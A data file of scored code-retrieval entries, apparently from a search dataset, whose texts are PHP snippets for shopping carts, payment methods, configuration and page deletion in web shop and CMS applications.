[];\n $currency_code = $this->defaultStore->getDefaultCurrencyCode();\n $response = [\n 'sales' => $sales,\n 'topProducts' => $top_products,\n 'carts' => $carts,\n 'currencyCode' => $currency_code,\n ];\n $response = new ResourceResponse($response);\n $response->addCacheableDependency($sales);\n $response->addCacheableDependency($top_products);\n return $response;\n }", "title": "" }, { "docid": "dc235e71e7146934b0bcd733256edfc4", "score": "0.52058583", "text": "public function getCarts($request);", "title": "" }, { "docid": "6dd1fc5f3e39b950ea67879ce602c391", "score": "0.5204113", "text": "public function execute()\n {\n $jsonResult = $this->_jsonFactory->create();\n if ($this->_cartHelper->isEnable()) {\n if (!$this->_cartHelper->getHeaders()) {\n $errorResult = array('status'=> false,'message' => $this->_cartHelper->getHeaderMessage());\n $jsonResult->setData($errorResult);\n return $jsonResult;\n }\n $session = $this->_customerSession;\n $responseArr['status'] = 'false';\n $postData = $this->_request->getParams();\n $storeId = $postData['storeid'];\n $sessionId = '';\n if (isset($postData['session_id']) && $postData['session_id'] != null) {\n $sessionId = $postData['session_id'];\n if (!$this->_customerSession->isLoggedIn()) {\n $customer_id = explode(\"_\", $sessionId);\n $this->_cartHelper->relogin($customer_id[0]);\n }\n }\n try {\n $storeScope = \\Magento\\Store\\Model\\ScopeInterface::SCOPE_STORES;\n $quote = $this->_getQuote();\n $store = $quote ? $quote->getStoreId() : null;\n $paymentMethodsArray = array();\n $total = $quote->getBaseSubtotal() + $quote->getShippingAddress()->getBaseShippingAmount();\n $address = $quote->getShippingAddress();\n $methods = $this->_paymentHelper->getStoreMethods($store, $quote);\n \n if (count($this->_paymentHelper->getStoreMethods($store, $quote)) > 0) {\n foreach ($this->_paymentHelper->getStoreMethods($store, $quote) as $method) {\n $this->_assignMethod($method);\n\n $html = array();\n $html['instructions'] = null;\n\n if ($method->getTitle()) {\n $paymentMethodsArray[] = array(\n 'code' => $method->getCode(),\n 'title' => $method->getTitle(),\n 'html' => $html\n );\n }\n }\n } else {\n $paymentMethodsArray['message'] = 'There is no payment available for this address.';\n }\n if (empty($paymentMethodsArray)) {\n $paymentMethodsArray['message'] = 'There is no payment available for this address.';\n }\n $jsonResult->setData($paymentMethodsArray);\n return $jsonResult;\n } catch (\\Exception $e) {\n $paymentMethodsArray = array(\n 'status' => 'error',\n 'message' => $e->getMessage()\n );\n }\n } else {\n $returnExtensionArray = array('enable' => false);\n $jsonResult->setData($returnExtensionArray);\n return $jsonResult;\n }\n }", "title": "" }, { "docid": "bad706de8b2bacff7d392f895490c79f", "score": "0.5192682", "text": "public function actionPricingInfo(): Response\n {\n $cartModel = Store::cartService()->getCartModel();\n\n return $this->asJson([\n 'subTotal' => number_format($cartModel->getSubTotal(), 2),\n 'tax' => number_format($cartModel->getTax(), 2),\n 'total' => number_format($cartModel->getTotal(), 2),\n ]);\n }", "title": "" }, { "docid": "2ca2b150d5ca34a520ddaacd6612bbc5", "score": "0.5191111", "text": "public function index()\n {\n return response()->json(\n auth()\n ->user()\n ->carts()\n ->get()\n );\n }", "title": "" }, { "docid": "2f8112f83df809abbf9d61c7d7239a36", "score": "0.51909626", "text": "public function getCart(){\r\n\t\treturn Mage::getSingleton('checkout/cart');\r\n\t}", "title": "" }, { "docid": "f12f1c31907a027f3b3f7994a7a3bed6", "score": "0.5184902", "text": "public function getCartInfo(): array\n {\n return [\n 'cart' => Cart::content(),\n 'subtotal' => Cart::subtotal(2, '.', ','),\n 'tax' => Cart::tax(2, '.', ','),\n 'total' => Cart::total(2, '.', ',')\n ];\n }", "title": "" }, { "docid": "07d1481a70e82146e56c3feba0db3c48", "score": "0.5179902", "text": "private function getShoppingCartList(): array\n {\n return [\n 'products' => [\n [\n 'title' => 'Desktop publishing software',\n 'long_description' => ' It is a long established fact that a reader will be distracted by the readable content of a page when looking at its layout. The point of using Lorem Ipsum is ',\n 'quantity' => 1,\n 'price' => 180.0\n ],\n [\n 'title' => 'Text editor',\n 'long_description' => ' There are many variations of passages of Lorem Ipsum available ',\n 'quantity' => 2,\n 'price' => 50.0\n ],\n [\n 'title' => 'CRM Software',\n 'long_description' => ' Distracted by the readable content of a page when looking at its layout. The point of using Lorem Ipsum is ',\n 'quantity' => 1,\n 'price' => 110.0\n ],\n [\n 'title' => 'PM Software',\n 'long_description' => ' Readable content of a page when looking at its layout. The point of using Lorem Ipsum is ',\n 'quantity' => 1,\n 'price' => 130.0\n ],\n [\n 'title' => 'Photo Editor',\n 'long_description' => ' Page when looking at its layout. The point of using Lorem Ipsum is ',\n 'quantity' => 1,\n 'price' => 70.0\n ]\n ],\n 'total' => 5686.0\n ];\n }", "title": "" }, { "docid": "2316ce1e0d3bf606fb6670129f3d2696", "score": "0.5177697", "text": "public function index()\n {\n $status = 1;\n $data = Cart::all();\n if ($data->isEmpty()) {\n $status = -1;\n $message = \"No Data\";\n }\n else {\n $message = \"Successful!\";\n return response()->json([\n 'status' => $status,\n 'message' => $message,\n 'data' => $data,\n ]);\n }\n return response()->json([\n 'status' => $status,\n 'message' => $message,\n ]);\n }", "title": "" }, { "docid": "ef0427619ddc72d57607d3b4c77b4294", "score": "0.51769656", "text": "public function getCartOptions()\n {\n return [\n '1' => [\n 'name' => 'Цвет',\n 'variants' => ['1' => 'Красный', '2' => 'Белый', '3' => 'Синий'],\n ],\n '2' => [\n 'name' => 'Размер',\n 'variants' => ['4' => 'XL', '5' => 'XS', '6' => 'XXL'],\n ]\n ];\n }", "title": "" }, { "docid": "40c6ff0c272586a912ae71a159e64f48", "score": "0.51738894", "text": "public function getCart() {\n return $this->cart;\n }", "title": "" }, { "docid": "eaf3d841b12c202bec6d9f19eabe9fab", "score": "0.5173512", "text": "function getResponseConf()\n {\n return array(\n );\n }", "title": "" }, { "docid": "c65d0b978a5f0eac407560ed18811ca8", "score": "0.516625", "text": "public function createCart();", "title": "" }, { "docid": "d5a69a546cf7809c8c9a2265fd46dd1a", "score": "0.51628554", "text": "private function cart()\n {\n $cart = (new Cart)->tambahProduk(\n $this->produk(), \n $this->qty()\n );\n\n return $cart;\n }", "title": "" }, { "docid": "6e929bc8df002d3f938e22765f8977da", "score": "0.514722", "text": "function getDefaultQuoteConfigurationOptions() {\n\t\t\treturn $this->getWarehouseHelper( )->getProductHelper( )->getDefaultQuoteConfigurationOptions( $this->getProduct( ), $this->getBuyRequest( ) );\n\t\t}", "title": "" }, { "docid": "79023808514698732224d1594e588c39", "score": "0.5144689", "text": "function cart_data($re = false) {\n $citems = $this->contents();\n foreach($citems as &$value) {\n $value['price'] = $this->sma->convertMoney($value['price']);\n $value['subtotal'] = $this->sma->convertMoney($value['subtotal']);\n if ($this->has_options($value['rowid'])) {\n $value['options'] = $this->product_options($value['rowid']);\n foreach($value['options'] as &$opt_value) {\n $opt_value['price'] = $this->sma->convertMoney($opt_value['price']);\n }\n }\n }\n $total = $this->sma->convertMoney($this->total(), FALSE, FALSE);\n $shipping = $this->sma->convertMoney($this->shipping(), FALSE, FALSE);\n $order_tax = $this->sma->convertMoney($this->order_tax(), FALSE, FALSE);\n $cart = array(\n 'total_items' => $this->total_items(),\n 'total_unique_items' => $this->total_items(TRUE),\n 'contents' => $citems,\n 'total_item_tax' => $this->sma->convertMoney($this->total_item_tax()),\n 'subtotal' => $this->sma->convertMoney($this->total()-$this->total_item_tax()),\n 'total' => $this->sma->formatMoney($total, $this->selected_currency->symbol),\n 'shipping' => $this->sma->formatMoney($shipping, $this->selected_currency->symbol),\n 'order_tax' => $this->sma->formatMoney($order_tax, $this->selected_currency->symbol),\n 'grand_total' => $this->sma->formatMoney(($this->sma->formatDecimal($total)+$this->sma->formatDecimal($order_tax)+$this->sma->formatDecimal($shipping)), $this->selected_currency->symbol),\n );\n\n if ($re) {\n return $cart;\n }\n\n $this->sma->send_json($cart);\n }", "title": "" }, { "docid": "d547645beef098af857c3439e83fe7fd", "score": "0.5144417", "text": "public function showCart() {\n return $this->cart->show_cart ();\n }", "title": "" }, { "docid": "dada647f16112cd66af246e6a06cb963", "score": "0.51417476", "text": "public function renderCart() {\r\n $layout = Mage::getSingleton('core/layout');\r\n\r\n $cartSidebar = $layout\r\n ->createBlock('checkout/cart_sidebar')\r\n ->addItemRender('simple', 'checkout/cart_item_renderer', 'checkout/cart/sidebar/default.phtml')\r\n ->addItemRender('configurable', 'checkout/cart_item_renderer_configurable', 'checkout/cart/sidebar/default.phtml')\r\n ->addItemRender('grouped', 'checkout/cart_item_renderer_grouped', 'checkout/cart/sidebar/default.phtml')\r\n ->addItemRender('bundle', 'bundle/checkout_cart_item_renderer', 'checkout/cart/sidebar/default.phtml');\r\n \r\n if(self::checkVersion('1.4.1') && Mage::helper('ajaxcartpro')->extensionEnabled('Mage_PaypalUk') && Mage::helper('ajaxcartpro')->extensionEnabled('Mage_Paypal')) {\r\n $_extraActions = $layout->createBlock('core/text_list', 'extra_actions');\r\n $_paypalukEC = $layout->createBlock('paypaluk/express_shortcut', 'paypaluk.partner.cart_sidebar.shortcut');\r\n $_paypalukEC->setTemplate('paypal/express/shortcut.phtml');\r\n $_extraActions->append($_paypalukEC, 'shortcut');\r\n $cartSidebar->setChild('extra_actions', $_extraActions);\r\n }\r\n \r\n if (Mage::helper('ajaxcartpro')->extensionEnabled('AW_Points'))\r\n {\r\n $pointsInfoBlock = $layout\r\n ->createBlock('core/template')\r\n ->setTemplate('aw_points/infopagelink.phtml');\r\n $pointsBlock = $layout\r\n ->createBlock('points/checkout_cart_points')\r\n ->setTemplate('aw_points/checkout/cart/sidebar/points.phtml')\r\n ->setChild('infopage.link', $pointsInfoBlock);\r\n $cartSidebar\r\n ->setChild('checkout.cart.sidebar.points', $pointsBlock)\r\n ->setTemplate('aw_points/checkout/cart/sidebar.phtml');\r\n }\r\n else\r\n {\r\n $cartSidebar->setTemplate('checkout/cart/sidebar.phtml');\r\n }\r\n Mage::getSingleton('ajaxcartpro/observer')->recalcQuote();\r\n return $cartSidebar->renderView();\r\n }", "title": "" }, { "docid": "8e0b43a9b15f5fa81f21b739cdcca63d", "score": "0.51410544", "text": "function getCart() {\n\t\treturn $this->cart;\n\t}", "title": "" }, { "docid": "987840f3856be9bbae7800d2206245f9", "score": "0.5131644", "text": "public function getProductDefaultValue() { \n //initialize dummy value.. no content header.pure html \n $sql=null; \n $str=null; \n $productId=null;\n if($this->getVendor()==self::MYSQL) { \n $sql =\" \n SELECT `productId`\n FROM \t`product`\n WHERE `isActive` = 1\n AND `companyId` = '\".$this->getCompanyId().\"'\n AND \t `isDefault` =\t 1\n LIMIT 1\"; \n } else if ($this->getVendor()==self::MSSQL) { \n $sql =\" \n SELECT TOP 1 [productId],\n FROM [product]\n WHERE [isActive] = 1\n AND [companyId] = '\".$this->getCompanyId().\"'\n AND \t [isDefault] = 1\"; \n } else if ($this->getVendor()==self::ORACLE) { \n $sql =\" \n SELECT PRODUCTID AS \\\"productId\\\",\n FROM PRODUCT \n WHERE ISACTIVE = 1\n AND COMPANYID = '\".$this->getCompanyId().\"'\n AND \t ISDEFAULT\t =\t 1\n AND \t\t ROWNUM\t =\t 1\";\n } else {\n header('Content-Type:application/json; charset=utf-8');\n echo json_encode(array(\"success\" => false, \"message\" => $this->t['databaseNotFoundMessageLabel']));\n exit();\n }\n try {\n $result =$this->q->fast($sql);\n } catch (\\Exception $e) {\n echo json_encode(array(\"success\" => false, \"message\" => $e->getMessage()));\n exit();\n }\n if($result) { \n $row = $this->q->fetchArray($result); \n $productId = $row['productId'];\n }\n return $productId;\n }", "title": "" }, { "docid": "3f74537e9dd86c718646f11cef0bef53", "score": "0.5111315", "text": "public function testGetProductListModeFromConfigDefault()\n {\n $block = $this->_blockMockBuilder;\n $block->setMethods(array('getRequest'))->getMock();\n /* @var $block Strategery_Infinitescroll_Block_Init | PHPUnit_Framework_MockObject_MockObject */\n\n $block->expects($this->atLeastOnce())->method('getRequest')->willReturn(new Varien_Object());\n\n $this->assertEquals('grid', $block->getProductListMode());\n\n }", "title": "" }, { "docid": "64025c7aa0ff11080f90851b52e0955b", "score": "0.51079327", "text": "public function get($cartId);", "title": "" }, { "docid": "59b53598309c64fe9266e7c7725dd1bf", "score": "0.5105159", "text": "public function initialize_cart()\n {\n }", "title": "" }, { "docid": "12eb56d172e4ade0865cd78b698afcd3", "score": "0.5097826", "text": "public function getDefaultCurrency() {\n if (Cache::has('shop.defaultCurrency')) {\n return Cache::get('shop.defaultCurrency');\n }else{\n $return = [];\n foreach ($this->currencies as $key => $c) {\n if ($c->default) {\n $return['symbol'] = $c->symbol;\n $return['name'] = $key;\n $return['rate'] = $c->rate;\n break;\n }\n }\n Cache::forever('shop.defaultCurrency', $return);\n return $return;\n }\n \n }", "title": "" }, { "docid": "112122664d6ef045da06d059495700b2", "score": "0.50907385", "text": "public function getCart($sessionId);", "title": "" }, { "docid": "d87427599ac93a207d3c1bfc59b8e4b9", "score": "0.5087602", "text": "public function getDefaultReply() {\r\n return Mage::getModel('CrmTicket/DefaultReply')->load(Mage::registry('cdr_id'));\r\n }", "title": "" }, { "docid": "9c93026ed71a0fca886df0d0f8f12605", "score": "0.5087417", "text": "private function prepareCartResponse($cartData) {\n $cartResponse['cart_data'] = $cartData;\n $cartResponse['quantity'] = $this->getTotalQuantity();\n $cartResponse['total'] = $this->getTotal($addDriverCharges = true);\n if (!empty($this->generatedUserCartId)) {\n // If user is hitting first time set auth_key in reponse\n $cartResponse['cart_auth_key'] = $this->generatedUserCartId;\n }\n return $cartResponse;\n }", "title": "" }, { "docid": "73e71f0025e36e2c52bb578b53d89a29", "score": "0.5087185", "text": "public function getCart()\n {\n $cart = json_decode(request()->cookie('cart'), true);\n //mengirimkan kembali dalam bentuk json untuk ditampilkan dengan vuejs\n return response()->json($cart, 200);\n }", "title": "" }, { "docid": "328f7f2fa82cb7e36089e4ce554601c7", "score": "0.50853264", "text": "public function ajaxGetMarket() {\n $default = [\n 'user_img' => 'user.svg',\n 'off_percent' => 30,\n 'market' => $this->_base64url_encode(3),\n ];\n $rtn = $default;\n $this->_ajaxReturn($rtn);\n }", "title": "" }, { "docid": "418b004255a4f94460e7a9c21ced7983", "score": "0.50820404", "text": "function shopcart() {\n\t\t\t$note_in_cart = FsGlobal::getConfig('note_in_cart');\n\t\t\tinclude 'modules/'.$this->module.'/views/'.$this->view.'/shopcart.php';\t\t\t\t\n\t\t}", "title": "" }, { "docid": "977559badebec55b6189af0ca03713a4", "score": "0.50578964", "text": "public function getCheckout03()\n {\n $response['cartItems'] = CartProvider::instance()->getCartItems();\n $response['customer'] = auth('crm')->user();\n $response['shipping'] = CartProvider::instance()->getShipping();\n $response['invoice'] = CartProvider::instance()->getInvoice();\n\n $response['paymentMethods'] = PaymentMethod::builder()\n ->where('lang_id', user_lang())\n ->where('active', true)\n ->orderBy('sort', 'asc')\n ->get();\n\n return view('web.content.checkout_03', $response);\n }", "title": "" }, { "docid": "8957fb2638059379b394a97e581f1c23", "score": "0.505467", "text": "public function getMockedCancelCollectResponseBody(): string\n {\n return '{}';\n }", "title": "" }, { "docid": "ea61cc39ad4b15f0c0efb23f7c9abc7b", "score": "0.5053612", "text": "protected function _getConfig()\r\n {\r\n return Mage::getSingleton('checkoutapi_chargePayment/config');\r\n }", "title": "" }, { "docid": "97e623cff810c0776177a7b8fbc4c1e8", "score": "0.5053388", "text": "public function getGoodsInCart()\n {\n return $this->postRequest('getGoodsInCart');\n }", "title": "" }, { "docid": "0aed69e6a186719fa16cb0e5873659a1", "score": "0.5050184", "text": "protected function getConfig()\n {\n $config = Configuration::getMultiple(\n array(\n self::_CONFIG_PRIVATE_KEY,\n self::_CONFIG_SHOP_TOKEN,\n self::_CONFIG_PAIEMENT_ACCEPTED,\n self::_CONFIG_PAIEMENT_REFUSED,\n self::_CONFIG_SHOP_INPUT_METHOD,\n self::_CONFIG_CANCEL_ACTION,\n self::_CONFIG_VISIBLE,\n self::_CONFIG_PAYMENT_REFUND,\n self::_CONFIG_FOOTER_DISPLAY,\n self::_CONFIG_FOOTER_LOGO_COLOR,\n self::_CONFIG_VERIF_ADULT\n )\n );\n\n if (empty($config[self::_CONFIG_PAIEMENT_ACCEPTED])) {\n $config[self::_CONFIG_PAIEMENT_ACCEPTED] = $this->l('Your payment was accepted');\n }\n if (empty($config[self::_CONFIG_PAIEMENT_REFUSED])) {\n $config[self::_CONFIG_PAIEMENT_REFUSED] = $this->l('Your payment unsuccessful');\n }\n if (empty($config[self::_CONFIG_SHOP_INPUT_METHOD])) {\n $config[self::_CONFIG_SHOP_INPUT_METHOD] = 'POST';\n }\n if (empty($config[self::_CONFIG_CANCEL_ACTION])) {\n $config[self::_CONFIG_CANCEL_ACTION] = 0;\n }\n if (empty($config[self::_CONFIG_VISIBLE])) {\n $config[self::_CONFIG_VISIBLE] = 0;\n }\n if (empty($config[self::_CONFIG_PAYMENT_REFUND])) {\n $config[self::_CONFIG_PAYMENT_REFUND] = 0;\n }\n if (empty($config[self::_CONFIG_FOOTER_LOGO_COLOR])) {\n $config[self::_CONFIG_FOOTER_LOGO_COLOR] = 'white';\n }\n\n return $config;\n }", "title": "" }, { "docid": "626e61347081761d4fbd3945aa6eff57", "score": "0.5035598", "text": "public function getCart()\n {\n $cart = json_decode(request()->cookie('cart'), true);\n\n return response()->json($cart, 200);\n }", "title": "" }, { "docid": "044cc08e141a2eb907e725d541f5346b", "score": "0.5032396", "text": "public function getDefaultCash(){\n\t\treturn $this->xeconConfig->get(\"default cash\");\n\t}", "title": "" } ]
c67c73b52ba4c6e0c188e6037680c4ac
Remove the specified frontPage from storage.
[ { "docid": "1e070cdae5d7a05bf63605405910e5d3", "score": "0.53238136", "text": "public function destroy($id)\n {\n $frontPage = $this->frontPageRepository->findWithoutFail($id);\n\n if (empty($frontPage)) {\n Flash::error('Front Page not found');\n\n return redirect(route('frontPages.index'));\n }\n\n $this->frontPageRepository->delete($id);\n\n Flash::success('Front Page deleted successfully.');\n\n return redirect(route('frontPages.index'));\n }", "title": "" } ]
[ { "docid": "a6c4d3a2edbdbf962c93ea829d7b53d1", "score": "0.62658393", "text": "public function destroy(front $front)\n {\n //\n }", "title": "" }, { "docid": "a1e6b4f09deb230d65c86e61e0a643a2", "score": "0.6238183", "text": "public function removePage($pageObject);", "title": "" }, { "docid": "0090c650fef55c62a37492c58cb335ff", "score": "0.6142349", "text": "public function deleted(Page $page)\n {\n //\n Cache::forget('page');\n\n \n\n }", "title": "" }, { "docid": "e575a6c5eecc7fd635e92e0cab6ac575", "score": "0.6058245", "text": "public function delete(Page $page){\n $page->delete();\n return back();\n}", "title": "" }, { "docid": "6c60b1eff618aa8951f7900cc60261d9", "score": "0.5911868", "text": "public static function remove()\n {\n self::$storage = null;\n }", "title": "" }, { "docid": "4fd7ccb8d2bc3b1ee6fbab558e099b90", "score": "0.58674794", "text": "function funky_cache_delete_one($page) {\n $data['url'] = '/' . $page->getUri() . URL_SUFFIX;\n if (($cache = Record::findOneFrom('FunkyCachePage', 'url=?', array($data['url'])))) {\n $cache->delete();\n }\n }", "title": "" }, { "docid": "e2a5f0065b6e9db488a6bf3c97cddc59", "score": "0.5825953", "text": "public function destroy(Page $page)\n {\n if($page->image){\n $path=public_path().'/thumbnail';\n $path1=public_path().'/imgupload';\n $path2=public_path().'/images';\n unlink($path.'/'.$page->image);\n unlink($path1.'/'.$page->image);\n unlink($path2.'/'.$page->image);\n }\n $page->delete();\n return redirect('admin/pages')->with('success', 'Page Deleted Successfully.');\n }", "title": "" }, { "docid": "8bead4d0842effd2eab2f79e3e060bec", "score": "0.58200026", "text": "public function destroy(Page $page)\n {\n //\n }", "title": "" }, { "docid": "8bead4d0842effd2eab2f79e3e060bec", "score": "0.58200026", "text": "public function destroy(Page $page)\n {\n //\n }", "title": "" }, { "docid": "8bead4d0842effd2eab2f79e3e060bec", "score": "0.58200026", "text": "public function destroy(Page $page)\n {\n //\n }", "title": "" }, { "docid": "0686b9dcf420ac458b3fd51fd69d3464", "score": "0.57761544", "text": "public function destroy($page)\n {\n Page::find($page)->delete();\n return redirect('/pages');\n }", "title": "" }, { "docid": "0717c07dca7f4991bcce82e252937be0", "score": "0.5766462", "text": "public function destroy($page)\n {\n //\n $c_page=Page::find($page);\n\n if($c_page->id == $welcome_settings->welcome_page_id)\n {\n Toastr::error('Welcome Page Can not be Deleted!');\n return redirect()->back();\n }\n else\n {\n $c_page->deleted_by = Auth::id();\n\n $c_page->save();\n\n $c_page->delete();\n\n Toastr::error('Successfully deleted the Page!');\n\n return redirect()->route('pages.index');\n\n }\n }", "title": "" }, { "docid": "d798b65eb8eeb2f2ce75d6f9a82ae18b", "score": "0.57379156", "text": "public function removePage($page)\n {\n $this->pages->removeElement($page);\n }", "title": "" }, { "docid": "00d3bf293c42c4b2dc97a2a26e16f43b", "score": "0.57081187", "text": "public function destroy(PageDescription $pageDescription)\n {\n //\n }", "title": "" }, { "docid": "11818ab4e7f8bf10f4118f9ee8729cb0", "score": "0.57060885", "text": "public function forceDeleted(Page $page)\n {\n Cache::forget('page');\n }", "title": "" }, { "docid": "b91a65c362092cdbeaffacf75bd116e6", "score": "0.5697421", "text": "public function destroy(Page $page)\n {\n $page->delete();\n return redirect('admin/pages');\n }", "title": "" }, { "docid": "b91a65c362092cdbeaffacf75bd116e6", "score": "0.5697421", "text": "public function destroy(Page $page)\n {\n $page->delete();\n return redirect('admin/pages');\n }", "title": "" }, { "docid": "9088a895fa841e40e2e9d305f5618988", "score": "0.56893253", "text": "function specific_page_remove_meta_boxes() {\n global $post;\n $frontID = get_option( 'page_on_front' );\n if( isset($post->ID) && ($frontID == $post->ID) )\n remove_meta_box( 'cbv_az_metabox_id', 'page', 'cbv-custom-metabox-holder' );\n\n}", "title": "" }, { "docid": "4b101f35e2e463b0f56b2035c1c7fe82", "score": "0.5687994", "text": "public function destroy(Page $page)\n { \n if(!Helper::checkAccess(\"Page\",\"Delete\")){\n return redirect('/admin/home')->with(['error'=>\"You dont have permission\"]);\n }\n $page->delete();\n Helper::addUserLog(\"Delete page with title : \".$page->title);\n return redirect(route('admin.page.index'))->with(['success'=>\"Delete Page with title \".$page->title]);\n }", "title": "" }, { "docid": "e5fe8ce69770ba75e441a5df643c874a", "score": "0.5666311", "text": "public function destroy(Page $page)\n {\n $no_delete = [\n \"about\"\n ];\n if ($page->user_id == Auth::id() or Auth::user() == \"admin\") {\n if (in_array($page->slug, $no_delete)){\n return redirect(route(\"page.index\"))->withErrors([\n \"alert\" => \"Delete Failed\",\n \"alert_message\" => \"This page is can't not delete\"\n ])->withInput();\n }else{\n $page->delete();\n return redirect(route(\"page.index\"));\n }\n }else{\n return redirect(route(\"page.index\"))->withErrors([\n \"alert\" => \"Delete Failed\",\n \"alert_message\" => \"You are no permission to delete this page\"\n ])->withInput();\n }\n }", "title": "" }, { "docid": "972fe2f4706e5d86a51ec95630a9bb58", "score": "0.56599724", "text": "public function destroy(Page $page) {\n//\n }", "title": "" }, { "docid": "bbf415f18b09213f0327762cea4e6295", "score": "0.56591034", "text": "public function destroy(Page $page)\n {\n $user = $page->user_id;\n if(Auth::id() ==$user) {\n\n $page->delete();\n return redirect()->route('page.index');\n }\n else{\n return redirect()->route('page.index');\n }\n }", "title": "" }, { "docid": "e9471bac7279967b650903f78de5c6ed", "score": "0.56450725", "text": "public function destroy(Page $page)\n {\n dd($page);\n }", "title": "" }, { "docid": "d23829b0c33201539eabf613ca896cb9", "score": "0.5620964", "text": "public function destroy(Page $page)\n\t{\n\t\t$page->delete();\n return redirect(url('/'));\n\t}", "title": "" }, { "docid": "f799a3b15cf9ebfe03bdae6b33821b2a", "score": "0.5580279", "text": "public function destroy(LandingPage $landingPage)\n {\n //\n }", "title": "" }, { "docid": "f799a3b15cf9ebfe03bdae6b33821b2a", "score": "0.5580279", "text": "public function destroy(LandingPage $landingPage)\n {\n //\n }", "title": "" }, { "docid": "a6c21d890e14b4668db65f6dbbc5954f", "score": "0.5574344", "text": "public function destroy(Page $page)\n {\n $page->delete();\n\n return redirect('/admin/pages');\n }", "title": "" }, { "docid": "60f3c96d45b97fdbb7ca7417504933cb", "score": "0.55737466", "text": "public function deletePage(Page $page) {\n\t\t$database = $this->wire('database');\n\t\t$query = $database->prepare(\"DELETE FROM pages_access WHERE pages_id=:page_id\"); \n\t\t$query->bindValue(\":page_id\", $page->id, \\PDO::PARAM_INT); \n\t\t$query->execute();\n\t}", "title": "" }, { "docid": "24a857ef13cc84df03d4ebcf22e41dc4", "score": "0.556943", "text": "public function remove()\n {\n $k = $this->getPages()->search(function ($item) {\n return str_slug($item->name) == str_slug(Request::get('page'));\n });\n if ($k === false) {\n throw new \\Exception(\"Request invalid\", 1);\n }\n\n $page = $this->getPage(Request::get('page'));\n\n foreach ($page->fields as $field) {\n if ($field->name == Request::get('field')) {\n $field->remove();\n }\n }\n $redirect_url = $this->getTabUrl(Request::get('page'));\n wp_send_json(['success' => true, 'redirect_url' => $redirect_url]);\n }", "title": "" }, { "docid": "3e0d14ee21532bd3b4a60a5359162767", "score": "0.555834", "text": "function delete( $pageID=-1 )\n {\n if ( $pageID == -1 )\n $pageID = $this->ID;\n\n $db =& eZDB::globalDatabase();\n $db->begin();\n\n $res[] = $db->query( \"DELETE FROM eZForm_FormPage WHERE ID=$pageID\" );\n \n eZDB::finish( $res, $db );\n }", "title": "" }, { "docid": "976d1b55c1a52fdfdbd11a8dedb78ac4", "score": "0.55541223", "text": "public function destroy(ContactPage $contactPage)\n {\n //\n }", "title": "" }, { "docid": "e1a3e3169873a21b64ffa7f35d864551", "score": "0.5552911", "text": "public function delete($siteID, $page) {\n\t\t\n\t\t$query = $this->db->from('pages')->where('sites_id', $siteID)->where('pages_name', $page)->get();\n\t\t\t\t\n\t\tif( $query->num_rows() > 0 ) {\n\t\t\t\n\t\t\t$res = $query->result();\n\t\t\t\n\t\t\t$page = $res[0];\n\t\t\t\n\t\t\t//remove frames\n\t\t\t$this->db->where('pages_id', $page->pages_id);\n\t\t\t$this->db->delete('frames');\n\t\t\t\n\t\t\t//delete page\n\t\t\t$this->db->where('pages_id', $page->pages_id);\n\t\t\t$this->db->delete('pages');\n\t\t\t\n\t\t}\n\t\t\n\t}", "title": "" }, { "docid": "cc3f4c2b230a735ab028011df889a13a", "score": "0.5539333", "text": "public function restored(Page $page)\n {\n Cache::forget('page');\n }", "title": "" }, { "docid": "e1c74c619251d65aed9ebc33be8c7d81", "score": "0.55204946", "text": "public function destroy(personalpage $personalpage)\n\n {\n dd('destroy');\n $personalpage->delete();\n redirect('/personalpages');\n }", "title": "" }, { "docid": "433c8dbd55cc60d70cdfc1cd745ed25c", "score": "0.55031437", "text": "public function destroy(Page $page)\n {\n $page->delete();\n return redirect()->route('admin.page.index')->with('success-message', trans('page deleted'));\n }", "title": "" }, { "docid": "ccd737b4a5477bc0a8b9d65388ea36fa", "score": "0.5498831", "text": "function removePageFromDatabase ($page) {\n\t\t$pageName = $page->getName ();\n\t\t$pageExists = $this->pageExists ($pageName);\n\t\tif (! $pageExists) {\n\t\t\treturn new Error ('PAGEMANAGER_PAGE_DOESNT_EXISTS', $pageName);\n\t\t}\n\t\t\n\t\t$placeInMenu = $page->getPlaceInMenu ();\n\t\t$pagesDatabaseName = $this->db->getPrefix ().'pages';\n\t\t$parentPageID = $page->getParentPageID ();\n\t\tif (! is_numeric ($placeInMenu)) {\n\t\t\treturn new Error ('DATABASEOBJECT_SQL_INJECTION_ATTACK_FAILED', __FILE__, __LINE__);\n\t\t}\n\t\tif (! is_numeric ($parentPageID)) {\n\t\t\treturn new Error ('DATABASEOBJECT_SQL_INJECTION_ATTACK_FAILED', __FILE__, __LINE__);\n\t\t}\n\t\t$sql = \"UPDATE $pagesDatabaseName SET placeInMenu=(placeInMenu-1) WHERE placeInMenu>=$placeInMenu AND parentPageID='$parentPageID'\";\n\t\t$q = $this->db->query ($sql);\n\t\tif (! isError ($q)) {\n\t\t\treturn $page->removeFromDatabase ();\n\t\t} else {\n\t\t\treturn $q;\n\t\t}\n\t}", "title": "" }, { "docid": "1094582c5d44f5c51f6402f02508b073", "score": "0.5498505", "text": "public function destroy(Homepage $homepage)\n {\n if($homepage){\n if(file_exists(($homepage->image))){\n unlink($homepage->image);\n }\n\n $homepage->delete();\n session()->flash('success', 'Homepage deleted successfully');\n }\n\n return redirect()->route('homepage.index');\n }", "title": "" }, { "docid": "86d1a1264ea890ba9b19b0508373d0b8", "score": "0.548555", "text": "public function destroy(FrontModule $frontModule)\n {\n //\n }", "title": "" }, { "docid": "a61019645f7a378a2e52419d193ab8a0", "score": "0.5478016", "text": "public function removePages() {}", "title": "" }, { "docid": "7f1ab99cabf72ea442b199ff5fdf3cda", "score": "0.5458599", "text": "public function deleting(Page $Page)\n {\n //code...\n }", "title": "" }, { "docid": "bc2b2dfe14ee3cf973b90be9ba7225cf", "score": "0.5442033", "text": "public function deletePage($pageID) {\r\n\r\n }", "title": "" }, { "docid": "7dffcfad35bec2cf0dcfaea61dbc5ecd", "score": "0.5441145", "text": "public function deletePageByCode($pageCode)\n {\n try {\n $page = $this->getPagesMapper()->findOneByCode($pageCode);\n if ($page === null) {\n // Page does not exist (was removed or never existed)\n throw new NotesNotes_Service_Exception('Page with code ' . $pageCode\n . ' does not exist');\n }\n \n $this->getPagesMapper()->delete($page);\n } catch (Exception $exception) {\n if ($exception instanceof NotesNotes_Service_Exception) {\n throw $exception;\n } else {\n // Wrap model exception into service exception\n throw new NotesNotes_Service_Exception(\n 'Can\\'t delete page with code' . $pageCode, null, $exception);\n }\n }\n }", "title": "" }, { "docid": "779a22d76fee0e584f9c54c918731ad8", "score": "0.5432706", "text": "public function deleted(Page $Page)\n {\n //code...\n }", "title": "" }, { "docid": "af31eae266c0ae9bde91fe0893c4a24c", "score": "0.54267126", "text": "static function 